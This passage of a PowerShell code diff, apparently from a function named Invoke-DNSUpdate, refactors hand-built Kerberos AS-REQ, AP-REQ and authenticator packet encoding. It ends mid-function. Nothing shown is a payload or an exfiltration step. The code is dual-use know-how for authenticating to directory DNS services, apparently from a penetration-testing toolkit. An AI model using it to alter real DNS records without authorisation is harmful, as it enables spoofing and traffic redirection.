$packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_SName_Encoding",[Byte[]](0xa3) + $sname_length2 + [Byte[]](0x30) + $sname_length) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_SName_NameType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_SName_NameType",[Byte[]](0x01)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_SName_NameString_Encoding",[Byte[]](0xa1) + $namestring_length2 + [Byte[]](0x30) + $namestring_length) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_SName_NameString0_Encoding",[Byte[]](0x1b,0x03)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_SName_NameString0",[Byte[]](0x44,0x4e,0x53)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_SName_NameString1_Encoding",[Byte[]](0x1b) + $namestring1_length) #50 - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_SName_NameString1",$namestring) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_Till_Encoding",[Byte[]](0xa5,0x11,0x18,0x0f)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_Till",$till) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_Nonce_Encoding",[Byte[]](0xa7,0x06,0x02,0x04)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_Nonce",$nonce) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_EType_Encoding",[Byte[]](0xa8,0x15,0x30,0x13)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_EType",[Byte[]](0x02,0x01,0x12,0x02,0x01,0x11,0x02,0x01,0x17,0x02,0x01,0x18,0x02,0x02,0xff,0x79,0x02,0x01,0x03)) - - return $packet_KerberosASREQ + $KerberosASREQ.Add("Message_PAData1_Type",[Byte[]](0x00,0x95)) + $KerberosASREQ.Add("Message_PAData1_Value_Encoding",[Byte[]](0xa2,0x02,0x04)) + $KerberosASREQ.Add("Message_PAData1_Value",[Byte[]](0x00)) + $KerberosASREQ.Add("Message_REQBody_Encoding",[Byte[]](0xa4) + $reqbody_length2 + [Byte[]](0x30) + $reqbody_length) + $KerberosASREQ.Add("Message_REQBody_KDCOptions_Encoding",[Byte[]](0xa0,0x07,0x03,0x05)) + $KerberosASREQ.Add("Message_REQBody_KDCOptions_Padding",[Byte[]](0x00)) + $KerberosASREQ.Add("Message_REQBody_KDCOptions",[Byte[]](0x50,0x00,0x00,0x00)) + $KerberosASREQ.Add("Message_REQBody_CName_Encoding",[Byte[]](0xa1) + $cname_length5 + [Byte[]](0x30) + $cname_length4) + $KerberosASREQ.Add("Message_REQBody_CName_NameType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $KerberosASREQ.Add("Message_REQBody_CName_NameType",[Byte[]](0x01)) + $KerberosASREQ.Add("Message_REQBody_CName_NameString_Encoding",[Byte[]](0xa1) + $cname_length3 + [Byte[]](0x30) + $cname_length2 + [Byte[]](0x1b) + $cname_length) + $KerberosASREQ.Add("Message_REQBody_CName_NameString",$Username) + $KerberosASREQ.Add("Message_REQBody_Realm_Encoding",[Byte[]](0xa2) + $realm_length2 + [Byte[]](0x1b) + $realm_length) + $KerberosASREQ.Add("Message_REQBody_Realm",$Realm) + $KerberosASREQ.Add("Message_REQBody_SName_Encoding",[Byte[]](0xa3) + $sname_length2 + [Byte[]](0x30) + $sname_length) + $KerberosASREQ.Add("Message_REQBody_SName_NameType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $KerberosASREQ.Add("Message_REQBody_SName_NameType",[Byte[]](0x01)) + $KerberosASREQ.Add("Message_REQBody_SName_NameString_Encoding",[Byte[]](0xa1) + $namestring_length2 + [Byte[]](0x30) + $namestring_length) + $KerberosASREQ.Add("Message_REQBody_SName_NameString0_Encoding",[Byte[]](0x1b,0x03)) + $KerberosASREQ.Add("Message_REQBody_SName_NameString0",[Byte[]](0x44,0x4e,0x53)) + $KerberosASREQ.Add("Message_REQBody_SName_NameString1_Encoding",[Byte[]](0x1b) + $namestring1_length) #50 + $KerberosASREQ.Add("Message_REQBody_SName_NameString1",$NameString) + $KerberosASREQ.Add("Message_REQBody_Till_Encoding",[Byte[]](0xa5,0x11,0x18,0x0f)) + $KerberosASREQ.Add("Message_REQBody_Till",$till) + $KerberosASREQ.Add("Message_REQBody_Nonce_Encoding",[Byte[]](0xa7,0x06,0x02,0x04)) + $KerberosASREQ.Add("Message_REQBody_Nonce",$Nonce) + $KerberosASREQ.Add("Message_REQBody_EType_Encoding",[Byte[]](0xa8,0x15,0x30,0x13)) + $KerberosASREQ.Add("Message_REQBody_EType",[Byte[]](0x02,0x01,0x12,0x02,0x01,0x11,0x02,0x01,0x17,0x02,0x01,0x18,0x02,0x02,0xff,0x79,0x02,0x01,0x03)) + + return $KerberosASREQ } function New-PacketKerberosAPREQ() { - param([Byte[]]$realm,[Byte[]]$spn,[Byte[]]$kvno,[Byte[]]$ticket,[Byte[]]$authenticator,[Byte[]]$authenticator_signature) - - $authenticator += $authenticator_signature - $parameter_length = $realm.Count + $spn.Count + $ticket.Count + $authenticator.Count - [Byte[]]$authenticator_length = Get-ASN1LengthArrayLong $authenticator.Count - [Byte[]]$authenticator_length2 = Get-ASN1LengthArrayLong ($authenticator.Count + $authenticator_length.Count + 1) - [Byte[]]$authenticator_length3 = Get-ASN1LengthArrayLong ($authenticator.Count + $authenticator_length.Count + $authenticator_length2.Count + 7) - [Byte[]]$authenticator_length4 = Get-ASN1LengthArrayLong ($authenticator.Count + $authenticator_length.Count + $authenticator_length2.Count + $authenticator_length3.Count + 8) + param([Byte[]]$Realm,[Byte[]]$SPN,[Byte[]]$KVNO,[Byte[]]$Ticket,[Byte[]]$Authenticator,[Byte[]]$AuthenticatorSignature) + + $Authenticator += $AuthenticatorSignature + $parameter_length = $Realm.Count + $SPN.Count + $ticket.Count + $Authenticator.Count + [Byte[]]$authenticator_length = Get-ASN1LengthArrayLong $Authenticator.Count + [Byte[]]$authenticator_length2 = Get-ASN1LengthArrayLong ($Authenticator.Count + $authenticator_length.Count + 1) + [Byte[]]$Authenticator_length3 = Get-ASN1LengthArrayLong ($authenticator.Count + $authenticator_length.Count + $authenticator_length2.Count + 7) + [Byte[]]$authenticator_length4 = Get-ASN1LengthArrayLong ($Authenticator.Count + $authenticator_length.Count + $authenticator_length2.Count + $authenticator_length3.Count + 8) [Byte[]]$ticket_length = Get-ASN1LengthArrayLong $ticket.Count [Byte[]]$ticket_length2 = Get-ASN1LengthArrayLong ($ticket.Count + $ticket_length.Count + 1) [Byte[]]$ticket_length3 = Get-ASN1LengthArrayLong ($ticket.Count + $ticket_length.Count + $ticket_length2.Count + 12) [Byte[]]$ticket_length4 = Get-ASN1LengthArrayLong ($ticket.Count + $ticket_length.Count + $ticket_length2.Count + $ticket_length3.Count + 13) - [Byte[]]$namestring1_length = Get-ASN1LengthArray $spn.Count - [Byte[]]$namestring_length = Get-ASN1LengthArray ($spn.Count + $namestring_length.Count + 4) - [Byte[]]$namestring_length2 = Get-ASN1LengthArray ($spn.Count + $namestring1_length.Count + $namestring_length.Count + 5) - [Byte[]]$sname_length = Get-ASN1LengthArray ($spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + 4) - [Byte[]]$sname_length2 = Get-ASN1LengthArray ($spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + 5) - [Byte[]]$sname_length3 = Get-ASN1LengthArray ($spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + 11) - [Byte[]]$sname_length4 = Get-ASN1LengthArray ($spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + + [Byte[]]$namestring1_length = Get-ASN1LengthArray $SPN.Count + [Byte[]]$namestring_length = Get-ASN1LengthArray ($SPN.Count + $namestring_length.Count + 4) + [Byte[]]$namestring_length2 = Get-ASN1LengthArray ($SPN.Count + $namestring1_length.Count + $namestring_length.Count + 5) + [Byte[]]$sname_length = Get-ASN1LengthArray ($SPN.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + 4) + [Byte[]]$sname_length2 = Get-ASN1LengthArray ($SPN.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + 5) + [Byte[]]$sname_length3 = Get-ASN1LengthArray ($SPN.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + 11) + [Byte[]]$sname_length4 = Get-ASN1LengthArray ($SPN.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + $sname_length3.Count + 12) - [Byte[]]$realm_length = Get-ASN1LengthArray $realm.Count - [Byte[]]$realm_length2 = Get-ASN1LengthArray ($realm.Count + $realm_length.Count + 1) + [Byte[]]$realm_length = Get-ASN1LengthArray $Realm.Count + [Byte[]]$realm_length2 = Get-ASN1LengthArray ($Realm.Count + $realm_length.Count + 1) [Byte[]]$ticket_length5 = Get-ASN1LengthArrayLong ($ticket.Count + $ticket_length.Count + $ticket_length2.Count + $ticket_length3.Count + $ticket_length4.Count + - $spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + - $sname_length3.Count + $sname_length4.Count + $realm.Count + $realm_length.Count + $realm_length2.Count + 34) + $SPN.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + + $sname_length3.Count + $sname_length4.Count + $Realm.Count + $realm_length.Count + $realm_length2.Count + 34) [Byte[]]$ticket_length6 = Get-ASN1LengthArrayLong ($ticket.Count + $ticket_length.Count + $ticket_length2.Count + $ticket_length3.Count + $ticket_length4.Count + - $spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + - $sname_length3.Count + $sname_length4.Count + $realm.Count + $realm_length.Count + $realm_length2.Count + $ticket_length5.Count + 35) + $SPN.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + + $sname_length3.Count + $sname_length4.Count + $Realm.Count + $realm_length.Count + $realm_length2.Count + $ticket_length5.Count + 35) [Byte[]]$ticket_length7 = Get-ASN1LengthArrayLong ($ticket.Count + $ticket_length.Count + $ticket_length2.Count + $ticket_length3.Count + $ticket_length4.Count + - $spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + - $sname_length3.Count + $sname_length4.Count + $realm.Count + $realm_length.Count + $realm_length2.Count + $ticket_length5.Count + $ticket_length6.Count + 36) + $SPN.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + + $sname_length3.Count + $sname_length4.Count + $Realm.Count + $realm_length.Count + $realm_length2.Count + $ticket_length5.Count + $ticket_length6.Count + 36) [Byte[]]$apreq_length = Get-ASN1LengthArrayLong ($parameter_length + $ticket_length.Count + $ticket_length2.Count + $ticket_length3.Count + $ticket_length4.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + $sname_length3.Count + $sname_length4.Count + $realm_length.Count + $realm_length2.Count + $ticket_length5.Count + $ticket_length6.Count + $ticket_length7.Count + 73) @@ -486,45 +528,45 @@ function Invoke-DNSUpdate $sname_length3.Count + $sname_length4.Count + $realm_length.Count + $realm_length2.Count + $ticket_length5.Count + $ticket_length6.Count + $ticket_length7.Count + $apreq_length.Count + $apreq_length2.Count + 88) - $packet_KerberosAPREQ = New-Object System.Collections.Specialized.OrderedDictionary - $packet_KerberosAPREQ.Add("KerberosAPREQ_Length",([Byte[]](0x60) + $length)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_MechToken_ThisMech",[Byte[]](0x06,0x09,0x2a,0x86,0x48,0x86,0xf7,0x12,0x01,0x02,0x02)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_MechToken_TokenID",[Byte[]](0x01,0x00)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_APReq_Encoding",[Byte[]](0x6e) + $apreq_length2 + [Byte[]](0x30) + $apreq_length) - $packet_KerberosAPREQ.Add("KerberosAPREQ_PVNO_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_PVNO",[Byte[]]0x05) - $packet_KerberosAPREQ.Add("KerberosAPREQ_MSGType_Encoding",[Byte[]](0xa1,0x03,0x02,0x01)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_MSGType",[Byte[]](0x0e)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Padding_Encoding",[Byte[]](0xa2,0x07,0x03,0x05)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Padding",[Byte[]](0x00)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_APOptions",[Byte[]](0x20,0x00,0x00,0x00)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_Encoding",[Byte[]](0xa3) + $ticket_length7 + [Byte[]](0x61) + $ticket_length6 + [Byte[]](0x30) + $ticket_length5) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_TKTVNO_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_TKTVNO",[Byte[]](0x05)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_Realm_Encoding",[Byte[]](0xa1) + $realm_length2 + [Byte[]](0x1b) + $realm_length) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_Realm",$realm) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_SName_Encoding",[Byte[]](0xa2) + $sname_length4 + [Byte[]](0x30) + $sname_length3) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_SName_NameType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_SName_NameType",[Byte[]](0x01)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_SName_NameString_Encoding",[Byte[]](0xa1) + $sname_length2 + [Byte[]](0x30) + $sname_length) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_SName_NameString0_Encoding",[Byte[]](0x1b,0x03)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_SName_NameString0",[Byte[]](0x44,0x4e,0x53)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_SName_NameString1_Encoding",[Byte[]](0x1b) + $namestring1_length) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_SName_NameString1",$spn) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_EncPart_Encoding",[Byte[]](0xa3) + $ticket_length4 + [Byte[]](0x30) + $ticket_length3) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_EncPart_EType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_EncPart_EType",[Byte[]](0x12)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_EncPart_KVNO_Encoding",[Byte[]](0xa1,0x03,0x02,0x01)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_EncPart_KVNO",$kvno) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_EncPart_Cipher_Encoding",[Byte[]](0xa2) + $ticket_length2 + [Byte[]](0x04) + $ticket_length) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Ticket_EncPart_Cipher",$ticket) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Authenticator_Encoding",[Byte[]](0xa4) + $authenticator_length4 + [Byte[]](0x30) + $authenticator_length3) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Authenticator_EType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Authenticator_EType",[Byte[]](0x12)) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Authenticator_Cipher_Encoding",[Byte[]](0xa2) + $authenticator_length2 + [Byte[]](0x04) + $authenticator_length) - $packet_KerberosAPREQ.Add("KerberosAPREQ_Authenticator_Cipher",$authenticator) - - return $packet_KerberosAPREQ + $KerberosAPREQ = New-Object System.Collections.Specialized.OrderedDictionary + $KerberosAPREQ.Add("Length",([Byte[]](0x60) + $length)) + $KerberosAPREQ.Add("MechToken_ThisMech",[Byte[]](0x06,0x09,0x2a,0x86,0x48,0x86,0xf7,0x12,0x01,0x02,0x02)) + $KerberosAPREQ.Add("MechToken_TokenID",[Byte[]](0x01,0x00)) + $KerberosAPREQ.Add("APReq_Encoding",[Byte[]](0x6e) + $apreq_length2 + [Byte[]](0x30) + $apreq_length) + $KerberosAPREQ.Add("PVNO_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $KerberosAPREQ.Add("PVNO",[Byte[]]0x05) + $KerberosAPREQ.Add("MSGType_Encoding",[Byte[]](0xa1,0x03,0x02,0x01)) + $KerberosAPREQ.Add("MSGType",[Byte[]](0x0e)) + $KerberosAPREQ.Add("Padding_Encoding",[Byte[]](0xa2,0x07,0x03,0x05)) + $KerberosAPREQ.Add("Padding",[Byte[]](0x00)) + $KerberosAPREQ.Add("APOptions",[Byte[]](0x20,0x00,0x00,0x00)) + $KerberosAPREQ.Add("Ticket_Encoding",[Byte[]](0xa3) + $ticket_length7 + [Byte[]](0x61) + $ticket_length6 + [Byte[]](0x30) + $ticket_length5) + $KerberosAPREQ.Add("Ticket_TKTVNO_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $KerberosAPREQ.Add("Ticket_TKTVNO",[Byte[]](0x05)) + $KerberosAPREQ.Add("Ticket_Realm_Encoding",[Byte[]](0xa1) + $realm_length2 + [Byte[]](0x1b) + $realm_length) + $KerberosAPREQ.Add("Ticket_Realm",$Realm) + $KerberosAPREQ.Add("Ticket_SName_Encoding",[Byte[]](0xa2) + $sname_length4 + [Byte[]](0x30) + $sname_length3) + $KerberosAPREQ.Add("Ticket_SName_NameType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $KerberosAPREQ.Add("Ticket_SName_NameType",[Byte[]](0x01)) + $KerberosAPREQ.Add("Ticket_SName_NameString_Encoding",[Byte[]](0xa1) + $sname_length2 + [Byte[]](0x30) + $sname_length) + $KerberosAPREQ.Add("Ticket_SName_NameString0_Encoding",[Byte[]](0x1b,0x03)) + $KerberosAPREQ.Add("Ticket_SName_NameString0",[Byte[]](0x44,0x4e,0x53)) + $KerberosAPREQ.Add("Ticket_SName_NameString1_Encoding",[Byte[]](0x1b) + $namestring1_length) + $KerberosAPREQ.Add("Ticket_SName_NameString1",$SPN) + $KerberosAPREQ.Add("Ticket_EncPart_Encoding",[Byte[]](0xa3) + $ticket_length4 + [Byte[]](0x30) + $ticket_length3) + $KerberosAPREQ.Add("Ticket_EncPart_EType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $KerberosAPREQ.Add("Ticket_EncPart_EType",[Byte[]](0x12)) + $KerberosAPREQ.Add("Ticket_EncPart_KVNO_Encoding",[Byte[]](0xa1,0x03,0x02,0x01)) + $KerberosAPREQ.Add("Ticket_EncPart_KVNO",$KVNO) + $KerberosAPREQ.Add("Ticket_EncPart_Cipher_Encoding",[Byte[]](0xa2) + $ticket_length2 + [Byte[]](0x04) + $ticket_length) + $KerberosAPREQ.Add("Ticket_EncPart_Cipher",$ticket) + $KerberosAPREQ.Add("Authenticator_Encoding",[Byte[]](0xa4) + $authenticator_length4 + [Byte[]](0x30) + $authenticator_length3) + $KerberosAPREQ.Add("Authenticator_EType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $KerberosAPREQ.Add("Authenticator_EType",[Byte[]](0x12)) + $KerberosAPREQ.Add("Authenticator_Cipher_Encoding",[Byte[]](0xa2) + $authenticator_length2 + [Byte[]](0x04) + $authenticator_length) + $KerberosAPREQ.Add("Authenticator_Cipher",$Authenticator) + + return $KerberosAPREQ } function Unprotect-KerberosASREP @@ -558,30 +600,30 @@ function Invoke-DNSUpdate [String]$confounder = [String](1..16 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) [Byte[]]$confounder = $confounder.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - [Byte[]]$PAC_Timestamp = $confounder + + [Byte[]]$PAC_timestamp = $confounder + 0x30,0x1a,0xa0,0x11,0x18,0x0f + $timestamp + 0xa1,0x05,0x02,0x03,0x01,0x70,0x16 - return $PAC_Timestamp + return $PAC_timestamp } function New-KerberosAuthenticator { - param([Byte[]]$realm,[Byte[]]$username,[Byte[]]$subkey,[Byte[]]$sequence_number) - - $parameter_length = $realm.Count + $username.Count + $subkey.Count - [Byte[]]$subkey_length = Get-ASN1LengthArray $subkey.Count - [Byte[]]$subkey_length2 = Get-ASN1LengthArray ($subkey.Count + $subkey_length.Count + 1) - [Byte[]]$subkey_length3 = Get-ASN1LengthArray ($subkey.Count + $subkey_length.Count + $subkey_length2.Count + 7) - [Byte[]]$subkey_length4 = Get-ASN1LengthArray ($subkey.Count + $subkey_length.Count + $subkey_length2.Count + $subkey_length3.Count + 8) - [Byte[]]$cname_length = Get-ASN1LengthArray $username.Count - [Byte[]]$cname_length2 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + 1) - [Byte[]]$cname_length3 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + $cname_length2.Count + 2) - [Byte[]]$cname_length4 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + 8) - [Byte[]]$cname_length5 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + 9) - [Byte[]]$crealm_length = Get-ASN1LengthArray $realm.Count - [Byte[]]$crealm_length2 = Get-ASN1LengthArray ($realm.Count + $crealm_length.Count + 1) + param([Byte[]]$Realm,[Byte[]]$Username,[Byte[]]$SubKey,[Byte[]]$SequenceNumber) + + $parameter_length = $Realm.Count + $Username.Count + $SubKey.Count + [Byte[]]$subkey_length = Get-ASN1LengthArray $SubKey.Count + [Byte[]]$subkey_length2 = Get-ASN1LengthArray ($SubKey.Count + $subkey_length.Count + 1) + [Byte[]]$subkey_length3 = Get-ASN1LengthArray ($SubKey.Count + $subkey_length.Count + $subkey_length2.Count + 7) + [Byte[]]$subkey_length4 = Get-ASN1LengthArray ($SubKey.Count + $subkey_length.Count + $subkey_length2.Count + $subkey_length3.Count + 8) + [Byte[]]$cname_length = Get-ASN1LengthArray $Username.Count + [Byte[]]$cname_length2 = Get-ASN1LengthArray ($Username.Count + $cname_length.Count + 1) + [Byte[]]$cname_length3 = Get-ASN1LengthArray ($Username.Count + $cname_length.Count + $cname_length2.Count + 2) + [Byte[]]$cname_length4 = Get-ASN1LengthArray ($Username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + 8) + [Byte[]]$cname_length5 = Get-ASN1LengthArray ($Username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + 9) + [Byte[]]$crealm_length = Get-ASN1LengthArray $Realm.Count + [Byte[]]$crealm_length2 = Get-ASN1LengthArray ($Realm.Count + $crealm_length.Count + 1) [Byte[]]$authenticator_length = Get-ASN1LengthArrayLong ($parameter_length + 99 + $crealm_length.Count + $crealm_length2.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + $cname_length5.Count + $subkey_length.Count + $subkey_length2.Count + $subkey_length3.Count + $subkey_length4.Count) @@ -589,37 +631,37 @@ function Invoke-DNSUpdate $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + $cname_length5.Count + $subkey_length.Count + $subkey_length2.Count + $subkey_length3.Count + $subkey_length4.Count + $authenticator_length.Count) - $packet_KerberosAuthenticator = New-Object System.Collections.Specialized.OrderedDictionary - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_Encoding",[Byte[]](0x62) + $authenticator_length2 + [Byte[]](0x30) + $authenticator_length) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_AuthenticatorVNO_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_AuthenticatorVNO",[Byte[]](0x05)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CRealm_Encoding",[Byte[]](0xa1) + $crealm_length2 + [Byte[]](0x1b) + $crealm_length) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CRealm",$realm) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CName_Encoding",[Byte[]](0xa2) + $cname_length5 + [Byte[]](0x30) + $cname_length4) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CName_NameType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CName_NameType",[Byte[]](0x01)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CName_CNameString_Encoding",[Byte[]](0xa1) + $cname_length3 + [Byte[]](0x30) + + $KerberosAuthenticator = New-Object System.Collections.Specialized.OrderedDictionary + $KerberosAuthenticator.Add("Encoding",[Byte[]](0x62) + $authenticator_length2 + [Byte[]](0x30) + $authenticator_length) + $KerberosAuthenticator.Add("AuthenticatorVNO_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $KerberosAuthenticator.Add("AuthenticatorVNO",[Byte[]](0x05)) + $KerberosAuthenticator.Add("CRealm_Encoding",[Byte[]](0xa1) + $crealm_length2 + [Byte[]](0x1b) + $crealm_length) + $KerberosAuthenticator.Add("CRealm",$Realm) + $KerberosAuthenticator.Add("CName_Encoding",[Byte[]](0xa2) + $cname_length5 + [Byte[]](0x30) + $cname_length4) + $KerberosAuthenticator.Add("CName_NameType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $KerberosAuthenticator.Add("CName_NameType",[Byte[]](0x01)) + $KerberosAuthenticator.Add("CName_CNameString_Encoding",[Byte[]](0xa1) + $cname_length3 + [Byte[]](0x30) + $cname_length2 + [Byte[]](0x1b) + $cname_length) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CName_CNameString",$username) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_Encoding",[Byte[]](0xa3,0x25,0x30,0x23,0xa0,0x05,0x02,0x03)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_CKSumType",[Byte[]](0x00,0x80,0x03)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_Length_Encoding",[Byte[]](0xa1,0x1a,0x04,0x18)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_Length",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_Bnd",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_Flags",[Byte[]](0x36,0x01,0x00,0x00)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_CUSec_Encoding",[Byte[]](0xa4,0x05,0x02,0x03)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_CUSec",(Get-KerberosMicrosecond)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_CTime_Encoding",[Byte[]](0xa5,0x11,0x18,0x0f)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_CTime",(Get-KerberosTimestampUTC)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_Subkey_Encoding",[Byte[]](0xa6) + $subkey_length4 + [Byte[]](0x30) + $subkey_length3) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_Subkey_KeyType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_Subkey_KeyType",[Byte[]](0x12)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_Subkey_KeyValue_Encoding",[Byte[]](0xa1) + $subkey_length2 + [Byte[]](0x04) + $subkey_length) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_Subkey_KeyValue",$subkey) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_SEQNumber_Encoding",[Byte[]](0xa7,0x06,0x02,0x04)) - $packet_KerberosAuthenticator.Add("KerberosAuthenticator_CKSum_SEQNumber",$sequence_number) - - return $packet_KerberosAuthenticator + $KerberosAuthenticator.Add("CName_CNameString",$Username) + $KerberosAuthenticator.Add("CKSum_Encoding",[Byte[]](0xa3,0x25,0x30,0x23,0xa0,0x05,0x02,0x03)) + $KerberosAuthenticator.Add("CKSum_CKSumType",[Byte[]](0x00,0x80,0x03)) + $KerberosAuthenticator.Add("CKSum_Length_Encoding",[Byte[]](0xa1,0x1a,0x04,0x18)) + $KerberosAuthenticator.Add("CKSum_Length",[Byte[]](0x10,0x00,0x00,0x00)) + $KerberosAuthenticator.Add("CKSum_Bnd",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $KerberosAuthenticator.Add("CKSum_Flags",[Byte[]](0x36,0x01,0x00,0x00)) + 